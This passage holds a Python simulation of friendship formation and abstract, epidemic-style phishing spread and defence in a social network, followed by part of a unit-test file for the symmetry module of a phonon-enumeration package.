size_prev = G.size() for i in range(105): size_invite = 0 if i < 100: # inviting friends only pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) edge_cur = [0 for x in pending] #can change to attribute of G for j in pending: idx_j = pending.index(j) limit_j = G.nodes[j]['edge_interaction'] if G.nodes[j]['full'] == True: continue ### a = random.random() if G.nodes[j]['inviting'] >= a: size_invite = size_invite + 1 invite[j] = invite[j] + 1 # find all possible k friend_j = list(G.neighbors(j)) list_k = deepcopy(pending) list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = product_matrix[min(j, k)][max(j, k)] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): if edge_cur[pending.index(k)] < G.nodes[k]['edge_interaction']: node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 while edge_cur[idx_j] < limit_j or (edge_cur[idx_j] == limit_j and flag == 0): if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['label'] == 'Legit': tp_max = 0 for k in G.neighbors(f): if tp_max < product_matrix[min(f, k)][max(f, k)]: tp_max = product_matrix[min(f, k)][max(f, k)] if node_list[f] < 0.2 * tp_max: del node_list[f] continue ### if edge_cur[pending.index(f)] < G.nodes[f]['edge_interaction'] and G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 edge_cur[idx_j] = edge_cur[idx_j] + 1 edge_cur[pending.index(f)] = edge_cur[pending.index(f)] + 1 del node_list[f] size_prev = G.size() full_nodes_new = set(G.nodes()) - set(friend_pending(G)) full_nodes_iter = full_nodes_new - full_nodes if i < 80: # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): # update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): # updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] # update sc values after each run for j in list(G.nodes()): social_capital_update(G, j) else: # attack and defense nodes = list(G.nodes()) random.shuffle(nodes) for j in nodes: if isinstance(G.nodes[j]['phish'], int): G = interaction_ATTACK(G, likers, dname, 'phish', j, p_as, records, i) # phishing # stats collection count = 0 # reported attackers for j in nodes: if G.nodes[j]['label'] == 'Fake' and G.nodes[j]['phish'] >= 3: #deception == 2.5 count = count + 1 attack_report[i-100] = count sir_state_change(records, attack_state, i) # post-attack updates: attacker report and user transformation for j in nodes: if isinstance(G.nodes[j]['phish'], int): #attackers # removed the reported attackers from the network/ compromised user back to S if G.nodes[j]['phish'] >= 3: if G.nodes[j]['label'] == True: # compromised account G.nodes[j]['phish'] = 'R' # change password G.nodes[j]['experience'] = G.nodes[j]['experience'] + 1 else: # remove the attacker nb = list(G.neighbors(j)) for k in nb: G.remove_edge(j, k) else: #normal users if G.nodes[j]['phish'] == 'E' and random.random() <= 0.2: #I to attacker, compromised account G.nodes[j]['phish'] = 0 sir_process_update(G, attack_sir, run, feat, i) # printing if i == 100: invite_times = {} invite_friends = {} for x in sorted(invite.keys()): if invite[x] > 0: invite_times[x] = invite[x] invite_friends[x] = G.nodes[x]['friends'] print(len(invite_times)) if (i + 1) % 20 == 0: print("TP edges at %d :%d" % (i, G.size())) print((time.time() - start_time) / 60) sum = 0 diff = 0 fake_edges = {} fake_friends = {} for x in G.nodes(): if G.nodes[x]['label'] == 'Fake': diff = diff + abs(G.nodes[x]['friends'] - G.nodes[x]['edges']) sum = sum + G.nodes[x]['friends'] fake_edges[x] = G.nodes[x]['edges'] fake_friends[x] = G.nodes[x]['friends'] print("sum of fake friends:", sum) print("sumdiff of fake friends:", diff) return G '''Simulate time-series behaviors of users-- Social attributes''' def interaction_SA(G, dname, likers, p_as, run, attack_sir, attack_state, attack_report, feat): start_time = time.time() rnd = int(start_time) print("run seed:", rnd) random.seed(rnd) #recording attacks records = {} records['i'] = {no: 0 for no in G.nodes()} records['sr'] = {no: 0 for no in G.nodes()} records['ir'] = {no: 0 for no in G.nodes()} records['sir'] = {no: 0 for no in G.nodes()} invite = {no: 0 for no in G.nodes()} #random.seed(int(start_time)) for _, y in G.nodes(data=True): for attack in ['phish', 'falseinfo', 'profile', 'humanatt']: if y['label'] == 'Legit': y[attack] = 'S' else: y[attack] = 0 # adjacency matrix to save similarity size = max(G.nodes()) + 1 product_matrix = np.zeros((size, size)) for x in G.nodes(): dot_x = [G.nodes[x]['human'], G.nodes[x]['cognitive'], G.nodes[x]['relational']] for y in G.nodes(): if y > x: dot_y = [G.nodes[y]['human'], G.nodes[y]['cognitive'], G.nodes[y]['relational']] mut = np.dot(dot_x, dot_y) / np.linalg.norm(dot_x) / np.linalg.norm(dot_y) product_matrix[x][y] = mut size_prev = G.size() for i in range(105): size_invite = 0 if i < 100: # inviting friends only pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) edge_cur = [0 for x in pending] #can change to attribute of G for j in pending: idx_j = pending.index(j) limit_j = G.nodes[j]['edge_interaction'] if G.nodes[j]['full'] == True: continue a = random.random() if G.nodes[j]['inviting'] >= a: size_invite = size_invite + 1 invite[j] = invite[j] + 1 # find all possible k friend_j = list(G.neighbors(j)) list_k = deepcopy(pending) list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = product_matrix[min(j, k)][max(j, k)] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): if edge_cur[pending.index(k)] < G.nodes[k]['edge_interaction']: node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 while edge_cur[idx_j] < limit_j or (edge_cur[idx_j] == limit_j and flag == 0): if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['label'] == 'Legit': as_max = 0 for k in G.neighbors(f): if as_max < product_matrix[min(f, k)][max(f, k)]: as_max = product_matrix[min(f, k)][max(f, k)] if node_list[f] < 0.6 * as_max: del node_list[f] continue if edge_cur[pending.index(f)] < G.nodes[f]['edge_interaction'] and G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 edge_cur[idx_j] = edge_cur[idx_j] + 1 edge_cur[pending.index(f)] = edge_cur[pending.index(f)] + 1 del node_list[f] size_prev = G.size() full_nodes_new = set(G.nodes()) - set(friend_pending(G)) full_nodes_iter = full_nodes_new - full_nodes if i<80: # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): # update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): # updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] # update sc values after each run for j in list(G.nodes()): social_capital_update(G, j) else: # attack and defense nodes = list(G.nodes()) random.shuffle(nodes) for j in nodes: if isinstance(G.nodes[j]['phish'], int): G = interaction_ATTACK(G, likers, dname, 'phish', j, p_as, records, i) # phishing # stats collection count = 0 # reported attackers for j in nodes: if G.nodes[j]['label'] == 'Fake' and G.nodes[j]['phish'] >= 3: #deception == 2.5 count = count + 1 attack_report[i-100] = count sir_state_change(records, attack_state, i) # post-attack updates: attacker report and user transformation for j in nodes: if isinstance(G.nodes[j]['phish'], int): #attackers # removed the reported attackers from the network/ compromised user back to S if G.nodes[j]['phish'] >= 3: if G.nodes[j]['label'] == True: # compromised account G.nodes[j]['phish'] = 'R' # change password G.nodes[j]['experience'] = G.nodes[j]['experience'] + 1 else: # remove the attacker nb = list(G.neighbors(j)) for k in nb: G.remove_edge(j, k) else: #normal users if G.nodes[j]['phish'] == 'E' and random.random() <= 0.2: #I to attacker, compromised account G.nodes[j]['phish'] = 0 sir_process_update(G, attack_sir, run, feat, i) # printing if i == 100: invite_times = {} invite_friends = {} for x in sorted(invite.keys()): if invite[x] > 0: invite_times[x] = invite[x] invite_friends[x] = G.nodes[x]['friends'] print(len(invite_times)) if (i + 1) % 20 == 0: print("SA edges at %d :%d" % (i, G.size())) print((time.time() - start_time) / 60) sum = 0 diff = 0 fake_edges = {} fake_friends = {} for x in G.nodes(): if G.nodes[x]['label'] == 'Fake': diff = diff + abs(G.nodes[x]['friends'] - G.nodes[x]['edges']) sum = sum + G.nodes[x]['friends'] fake_edges[x] = G.nodes[x]['edges'] fake_friends[x] = G.nodes[x]['friends'] print("sum of fake friends:", sum) print("sumdiff of fake friends:", diff) return G '''Simulate time-series behaviors of users-- Trust friend''' def interaction_TR(G, dname, likers, feature, p_as, run, attack_sir, attack_state, attack_report, feat): start_time = time.time() rnd = int(start_time) print("run seed:", rnd) random.seed(rnd) # recording attacks records = {} records['i'] = {no: 0 for no in G.nodes()} records['sr'] = {no: 0 for no in G.nodes()} records['ir'] = {no: 0 for no in G.nodes()} records['sir'] = {no: 0 for no in G.nodes()} invite = {no: 0 for no in G.nodes()} # set SIR(legit) or reported time(attacker) for _, y in G.nodes(data=True): for attack in ['phish']: if y['label'] == 'Legit': y[attack] = 'S' #for legit users else: y[attack] = 0 #for attackers # Dynamic interactions size_prev = G.size() for i in range(105): size_invite = 0 if i < 100: # no attacks pending = friend_pending(G) random.shuffle(pending) full_nodes = set(G.nodes()) - set(pending) edge_cur = [0 for x in pending] #can change to attribute of G for j in pending: idx_j = pending.index(j) limit_j = G.nodes[j]['edge_interaction'] if G.nodes[j]['full'] == True: continue a = random.random() if G.nodes[j]['inviting'] >= a: size_invite = size_invite + 1 invite[j] = invite[j] + 1 # find all possible k friend_j = list(G.neighbors(j)) list_k = deepcopy(pending) list_k.remove(j) list_k = list(set(list_k) - set(friend_j)) if len(list_k) == 0: G.nodes[j]['full'] = True continue # collect all k to node_list node_list0 = {} for k in list_k: if G.nodes[k]['full'] == False: node_list0[k] = G.nodes[k]['trust'] if len(node_list0) == 0: G.nodes[j]['full'] = True continue node_list = {} for k in node_list0.keys(): if edge_cur[pending.index(k)] < G.nodes[k]['edge_interaction']: node_list[k] = node_list0[k] if len(node_list) == 0: continue # rank node_list and pick top 1 node_list = {k: v for k, v in sorted(node_list.items(), key=lambda item: item[1])} flag = 0 ranked = list(node_list.keys()) # ascending length = len(ranked) # select top 1 value while edge_cur[idx_j] < limit_j or (edge_cur[idx_j] == limit_j and flag == 0): if len(node_list) == 0 or G.nodes[j]['full'] == True: break ranked = list(node_list.keys()) # ascending f = ranked[-1] if G.nodes[f]['label'] == 'Legit' and G.nodes[j]['trust'] < 1.0 * node_list[f]: #i > 20 and del node_list[f] continue if edge_cur[pending.index(f)] < G.nodes[f]['edge_interaction'] and G.nodes[f]['full'] == False: new_friend(G, j, f) flag = 1 edge_cur[idx_j] = edge_cur[idx_j] + 1 edge_cur[pending.index(f)] = edge_cur[pending.index(f)] + 1 del node_list[f] size_prev = G.size() full_nodes_new = set(G.nodes()) - set(friend_pending(G)) full_nodes_iter = full_nodes_new - full_nodes if i < 80: # simulate positive interaction for j in list(G.nodes()): if G.nodes[j]['feeding'] >= random.random(): # if feeding, share to all friends for fb in list(G.neighbors(j)): # update feeding G.edges[j, fb]['f'] = G.edges[j, fb]['f'] + 1 if G.edges[j, fb]['f'] > G.nodes[j]['fmax']: G.nodes[j]['fmax'] = G.edges[j, fb]['f'] if G.edges[j, fb]['f'] > G.nodes[fb]['fmax']: G.nodes[fb]['fmax'] = G.edges[j, fb]['f'] if G.nodes[fb]['feedback'] >= random.random(): # updating feedback G.edges[j, fb]['b'] = G.edges[j, fb]['b'] + 1 if G.edges[j, fb]['b'] > G.nodes[j]['bmax']: G.nodes[j]['bmax'] = G.edges[j, fb]['b'] if G.edges[j, fb]['b'] > G.nodes[fb]['bmax']: G.nodes[fb]['bmax'] = G.edges[j, fb]['b'] # update sc and trust values after each run for j in list(G.nodes()): social_capital_trust_update(G, j) else: # attack and defense nodes = list(G.nodes()) random.shuffle(nodes) for j in nodes: # if j not in G.nodes(): # continue if isinstance(G.nodes[j]['phish'], int): G = interaction_ATTACK(G, likers, dname, 'phish', j, p_as, records, i) # phishing # stats collection count = 0 # reported attackers for j in nodes: if G.nodes[j]['label'] == 'Fake' and G.nodes[j]['phish'] >= 3: count = count + 1 attack_report[i-100] = count sir_state_change(records, attack_state, i) # post-attack updates: attacker report and user transformation for j in nodes: if isinstance(G.nodes[j]['phish'], int): #attackers # removed the reported attackers from the network/ compromised user back to S if G.nodes[j]['phish'] >= 3: if G.nodes[j]['label'] == True: # compromised account G.nodes[j]['phish'] = 'R' # change password G.nodes[j]['experience'] = G.nodes[j]['experience'] + 1 else: # remove the attacker nb = list(G.neighbors(j)) for k in nb: G.remove_edge(j, k) else: #normal users if G.nodes[j]['phish'] == 'E' and random.random() <= 0.2: #I to attacker, compromised account G.nodes[j]['phish'] = 0 sir_process_update(G, attack_sir, run, feat, i) # printing if i == 100: invite_times = {} invite_friends = {} for x in sorted(invite.keys()): if invite[x] > 0: invite_times[x] = invite[x] invite_friends[x] = G.nodes[x]['friends'] print(len(invite_times)) if (i + 1) % 20 == 0: print("%s edges at %d :%d" % (feature, i, G.size())) print((time.time() - start_time) / 60) sum = 0 diff = 0 fake_edges = {} fake_friends = {} for x in G.nodes(): if G.nodes[x]['label'] == 'Fake': diff = diff + abs(G.nodes[x]['friends'] - G.nodes[x]['edges']) sum = sum + G.nodes[x]['friends'] fake_edges[x] = G.nodes[x]['edges'] fake_friends[x] = G.nodes[x]['friends'] print("sum of fake friends:", sum) print("sumdiff of fake friends:", diff) return G def RC(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=0): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('RC:') G = initial_friend_SC(G, 'relational', i, dname) print('RC:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_SC(G, dname, likers, 'RC', p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'RC', dname, out) def STC(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=1): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('STC:') G = initial_friend_SC(G, 'human', i, dname) print('STC:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_SC(G, dname, likers, 'STC', p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'STC', dname, out) def CC(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=2): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('CC:') G = initial_friend_SC(G, 'cognitive', i, dname) print('CC:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_SC(G, dname, likers, 'CC', p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'CC', dname, out) def SC(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=3): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('SC:') G = initial_friend_SC(G, 'capital', i, dname) print('SC:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_SC(G, dname, likers, 'SC', p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'SC', dname, out) def SA(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=5): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('SA:') G = initial_friend_SA(G, i, dname) print('SA:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_SA(G, dname, likers, p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'SA', dname, out) def TR(sample, capital_full, G_full, likers, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=4): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('TR:') G = initial_friend_TR(G, i, dname) print('TR:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_TR(G, dname, likers, 'TR', p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'TR', dname, out) def TP(sample, capital_full, G_full, likers, topics, p_as, i, attack_sir, attack_state, attack_report, dname, out, feat=6): capital = capital_full.loc[sorted(sample)] G = nx.Graph(G_full.subgraph(sorted(sample))) print('TP:') G = initial_friend_TP(G, topics, i, dname) print('TP:') print('Full ratio:', len([n for n, v in G.nodes(data=True) if v['full'] == True]) / G.order()) G = interaction_TP(G, dname, likers, topics, p_as, i, attack_sir, attack_state, attack_report, feat) capital = post_process(G, capital, i, 'TP', dname, out)

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py

Python

tests/test_symmetry.py

wsmorgan/phonon-enumeration

5d7a8d8e3403cc387bdd58cf98a23e4751ea34dd

[ "MIT-0" ]

5

2016-06-17T05:39:27.000Z

2021-05-30T21:02:08.000Z

tests/test_symmetry.py

wsmorgan/phonon-enumeration

5d7a8d8e3403cc387bdd58cf98a23e4751ea34dd

[ "MIT-0" ]

66

2016-04-02T05:02:08.000Z

2018-07-05T19:43:09.000Z

tests/test_symmetry.py

wsmorgan/phonon-enumeration

5d7a8d8e3403cc387bdd58cf98a23e4751ea34dd

[ "MIT-0" ]

5

2017-03-15T21:28:44.000Z

2020-01-09T14:44:45.000Z

"""Methods for testing the subroutines in the symmetry module.""" import unittest as ut import numpy as np gpath = "tests/symmetry/" def _read_pg(fname): pg = [] array = [] with open(fname,"r") as f: for line in f: temp = line.strip().split() if len(temp)==3: array.append([float(i) for i in temp]) else: pg.append(array) array = [] return pg def _read_float_3D(fname): array = [] parray = [] lc = 0 dc = 0 with open(fname,"r") as f1: for line in f1: lc +=1 if lc == 2: d1 = int(line.strip().split()[1]) d2 = int(line.strip().split()[2]) d3 = int(line.strip().split()[3]) elif lc > 3: if "#" not in line: dc +=1 parray.append([float(i) for i in line.strip().split()]) if dc == 3: array.append(list(map(list,zip(*parray)))) parray = [] dc = 0 array2 = [] for i in range(d3): array2.append(list(map(list,zip(*[array[0][i],array[1][i],array[2][i]])))) return array2 def _read_float_2D(fname): array = [] with open(fname,"r") as f1: for line in f1: if "#" not in line: array.append([float(i) for i in line.strip().split()]) return array def _read_float_1D(fname): array = [] with open(fname,"r") as f1: for line in f1: if "#" not in line: array = [float(i) for i in line.strip().split()] return array def _read_int_1D(fname): array = [] with open(fname,"r") as f1: for line in f1: if "#" not in line: array = [int(i) for i in line.strip().split()] return array def _read_int(fname): with open(fname,"r") as f1: line = f1.readline() if "#" in line: line = f1.readline() val = int(line.strip()) return val def _read_float(fname): with open(fname,"r") as f1: line = f1.readline() if "#" in line: line = f1.readline() val = float(line.strip()) return val def _read_logical(fname): with open(fname,"r") as f1: line = f1.readline() if "#" in line: line = f1.readline() if "t" in line.lower(): val = True else: val = False return val def _read_output(test): values = [] with open("tests/symmetry/"+test) as f: for line in f: values.append(eval(line)) return values def _read_spaceGroup(case): sg_ops = _read_float_3D(gpath+"get_spaceGroup_sg_op.out."+str(case)) sg_fracts = list(map(list,zip(*_read_float_2D(gpath+"get_spaceGroup_sg_fract.out."+str(case))))) return [sg_ops,sg_fracts] class TestGetConcsForSize(ut.TestCase): """Tests of the get_concs_for_size subroutine.""" def test_1(self): from phenum.symmetry import get_concs_for_size size = 4 nspecies = 2 nB = 3 res_concs = True concs = [[1, 1, 4], [1, 1, 4]] out = [] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_2(self): from phenum.symmetry import get_concs_for_size size = 15 nspecies = 3 nB = 2 res_concs = True concs = [[2, 8, 15], [5, 5, 15], [4, 8, 15]] out = [[4, 10, 16], [5, 10, 15], [6, 10, 14], [7, 10, 13], [8, 10, 12], [9, 10, 11], [10, 10, 10], [11, 10, 9], [12, 10, 8]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_3(self): from phenum.symmetry import get_concs_for_size size = 18 nspecies = 4 nB = 2 res_concs = True concs = [[5, 5, 18], [6, 13, 18], [4, 16, 18], [5, 8, 18]] out = [] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_4(self): from phenum.symmetry import get_concs_for_size size = 16 nspecies = 2 nB = 3 res_concs = False concs = [] out = [[0, 48], [1, 47], [2, 46], [3, 45], [4, 44], [5, 43], [6, 42], [7, 41], [8, 40], [9, 39], [10, 38], [11, 37], [12, 36], [13, 35], [14, 34], [15, 33], [16, 32], [17, 31], [18, 30], [19, 29], [20, 28], [21, 27], [22, 26], [23, 25], [24, 24], [25, 23], [26, 22], [27, 21], [28, 20], [29, 19], [30, 18], [31, 17], [32, 16], [33, 15], [34, 14], [35, 13], [36, 12], [37, 11], [38, 10], [39, 9], [40, 8], [41, 7], [42, 6], [43, 5], [44, 4], [45, 3], [46, 2], [47, 1], [48, 0]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_5(self): from phenum.symmetry import get_concs_for_size size = 13 nspecies = 3 nB = 2 res_concs = True concs = [[3, 7, 13], [5, 12, 13], [1, 3, 13]] out = [[6, 14, 6], [6, 15, 5], [6, 16, 4], [6, 17, 3], [6, 18, 2], [7, 13, 6], [7, 14, 5], [7, 15, 4], [7, 16, 3], [7, 17, 2], [8, 12, 6], [8, 13, 5], [8, 14, 4], [8, 15, 3], [8, 16, 2], [9, 11, 6], [9, 12, 5], [9, 13, 4], [9, 14, 3], [9, 15, 2], [10, 10, 6], [10, 11, 5], [10, 12, 4], [10, 13, 3], [10, 14, 2], [11, 10, 5], [11, 11, 4], [11, 12, 3], [11, 13, 2], [12, 10, 4], [12, 11, 3], [12, 12, 2], [13, 10, 3], [13, 11, 2], [14, 10, 2]] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_6(self): from phenum.symmetry import get_concs_for_size size = 13 nspecies = 4 nB = 3 res_concs = True concs = [[2, 5, 13], [5, 12, 13], [3, 4, 13], [4, 6, 13]] out = [] self.assertEqual(get_concs_for_size(size,nspecies,res_concs,nB,concs),out) def test_7(self): from phenum.symmetry import get_concs_for_size size = 16 nspecies = 3 nB = 2 res_concs = False concs = [] out = [[0, 0, 32], [0, 1, 31], [0, 2, 30], [0, 3, 29], [0, 4, 28], [0, 5, 27], [0, 6, 26], [0, 7, 25], [0, 8, 24], [0, 9, 23], [0, 10, 22], [0, 11, 21], [0, 12, 20], [0, 13, 19], [0, 14, 18], [0, 15, 17], [0, 16, 16], [0, 17, 15], [0, 18, 14], [0, 19, 13], [0, 20, 12], [0, 21, 11], [0, 22, 10], [0, 23, 9], [0, 24, 8], [0, 25, 7], [0, 26, 6], [0, 27, 5], [0, 28, 4], [0, 29, 3], [0, 30, 2], [0, 31, 1], [0, 32, 0], [1, 0, 31], [1, 1, 30], [1, 2, 29], [1, 3, 28], [1, 4, 27], [1, 5, 26], [1, 6, 25], [1, 7, 24], [1, 8, 23], [1, 9, 22], [1, 10, 21], [1, 11, 20], [1, 12, 19], [1, 13, 18], [1, 14, 17], [1, 15, 16], [1, 16, 15], [1, 17, 14], [1, 18, 13], [1, 19, 12], [1, 20, 11], [1, 21, 10], [1, 22, 9], [1, 23, 8], [1, 24, 7], [1, 25, 6], [1, 26, 5], [1, 27, 4], [1, 28, 3], [1, 29, 2], [1, 30, 1], [1, 31, 0], [2, 0, 30], [2, 1, 29], [2, 2, 28], [2, 3, 27], [2, 4, 26], [2, 5, 25], [2, 6, 24], [2, 7, 23], [2, 8, 22], [2, 9, 21], [2, 10, 20], [2, 11, 19], [2, 12, 18], [2, 13, 17], [2, 14, 16], [2, 15, 15], [2, 16, 14], [2, 17, 13], [2, 18, 12], [2, 19, 11], [2, 20, 10], [2, 21, 9], [2, 22, 8], [2, 23, 7], [2, 24, 6], [2, 25, 5], [2, 26, 4], [2, 27, 3], [2, 28, 2], [2, 29, 1], [2, 30, 0], [3, 0, 29], [3, 1, 28], [3, 2, 27], [3, 3, 26], [3, 4, 25], [3, 5, 24], [3, 6, 23], [3, 7, 22], [3, 8, 21], [3, 9, 20], [3, 10, 19], [3, 11, 18], [3, 12, 17], [3, 13, 16], [3, 14, 15], [3, 15, 14], [3, 16, 13], [3, 17, 12], [3, 18, 11], [3, 19, 10], [3, 20, 9], [3, 21, 8], [3, 22, 7], [3, 23, 6], [3, 24, 5], [3, 25, 4], [3, 26, 3], [3, 27, 2], [3, 28, 1], [3, 29, 0], [4, 0, 28], [4, 1, 27], [4, 2, 26], [4, 3, 25], [4, 4, 24], [4, 5, 23], [4, 6, 22], [4, 7, 21], [4, 8, 20], [4, 9, 19], [4, 10, 18], [4, 11, 17], [4, 12, 16], [4, 13, 15], [4, 14, 14], [4, 15, 13], [4, 16, 12], [4, 17, 11], [4, 18, 10], [4, 19, 9], [4, 20, 8], [4, 21, 7], [4, 22, 6], [4, 23, 5], [4, 24, 4], [4, 25, 3], [4, 26, 2], [4, 27, 1], [4, 28, 0], [5, 0, 27], [5, 1, 26], [5, 2, 25], [5, 3, 24], [5, 4, 23], [5, 5, 22], [5, 6, 21], [5, 7, 20], [5, 8, 19], [5, 9, 18], [5, 10, 17], [5, 11, 16], [5, 12, 15], [5, 13, 14], [5, 14, 13], [5, 15, 12], [5, 16, 11], [5, 17, 10], [5, 18, 9], [5, 19, 8], [5, 20, 7], [5, 21, 6], [5, 22, 5], [5, 23, 4], [5, 24, 3], [5, 25, 2], [5, 26, 1], [5, 27, 0], [6, 0, 26], [6, 1, 25], [6, 2, 24], [6, 3, 23], [6, 4, 22], [6, 5, 21], [6, 6, 20], [6, 7, 19], [6, 8, 18], [6, 9, 17], [6, 10, 16], [6, 11, 15], [6, 12, 14], [6, 13, 13], [6, 14, 12], [6, 15, 11], [6, 16, 10], [6, 17, 9], [6, 18, 8], [6, 19, 7], [6, 20, 6], [6, 21, 5], [6, 22, 4], [6, 23, 3], [6, 24, 2], [6, 25, 1], [6, 26, 0], [7, 0, 25], [7, 1, 24], [7, 2, 23], [7, 3, 22], [7, 4, 21], [7, 5, 20], [7, 6, 19], [7, 7, 18], [7, 8, 17], [7, 9, 16], [7, 10, 15], [7, 11, 14], [7, 12, 13], [7, 13, 12], [7, 14, 11], [7, 15, 10], [7, 16, 9], [7, 17, 8], [7, 18, 7], [7, 19, 6], [7, 20, 5], [7, 21, 4], [7, 22, 3], [7, 23, 2], [7, 24, 1], [7, 25, 0], [8, 0, 24], [8, 1, 23], [8, 2, 22], [8, 3, 21], [8, 4, 20], [8, 5, 19], [8, 6, 18], [8, 7, 17], [8, 8, 16], [8, 9, 15], [8, 10, 14], [8, 11, 13], [8, 12, 12], [8, 13, 11], [8, 14, 10], [8, 15, 9], [8, 16, 8], [8, 17, 7], [8, 18, 6], [8, 19, 5], [8, 20, 4], [8, 21, 3], [8, 22, 2], [8, 23, 1], [8, 24, 0], [9, 0, 23], [9, 1, 22], [9, 2, 21], [9, 3, 20], [9, 4, 19], [9, 5, 18], [9, 6, 17], [9, 7, 16], [9, 8, 15], [9, 9, 14], [9, 10, 13], [9, 11, 12], [9, 12, 11], [9, 13, 10], [9, 14, 9], [9, 15, 8], [9, 16, 7], [9, 17, 6], [9, 18, 5], [9, 19, 4], [9, 20, 3], [9, 21, 2], [9, 22, 1], [9, 23, 0], [10, 0, 22], [10, 1, 21], [10, 2, 20], [10, 3, 19], [10, 4, 18], [10, 5, 17], [10, 6, 16], [10, 7, 15], [10, 8, 14], [10, 9, 13], [10, 10, 12], [10, 11, 11], [10, 12, 10], [10, 13, 9], [10, 14, 8], [10, 15, 7], [10, 16, 6], [10, 17, 5], [10, 18, 4], [10, 19, 3], [10, 20, 2], [10, 21, 1], [10, 22, 0], [11, 0, 21], [11, 1, 20], [11, 2, 19], [11, 3, 18], [11, 4, 17], [11, 5, 16], [11, 6, 15], [11, 7, 14], [11, 8, 13], [11, 9, 12], [11, 10, 11], [11, 11, 10], [11, 12, 9], [11, 13, 8], [11, 14, 7], [11, 15, 6], [11, 16, 5], [11, 17, 4], [11, 18, 3], [11, 19, 2], [11, 20, 1], [11, 21, 0], [12, 0, 20], [12, 1, 19], [12, 2, 18], [12, 3, 17], [12, 4, 16], [12, 5, 15], [12, 6, 14], [12, 7, 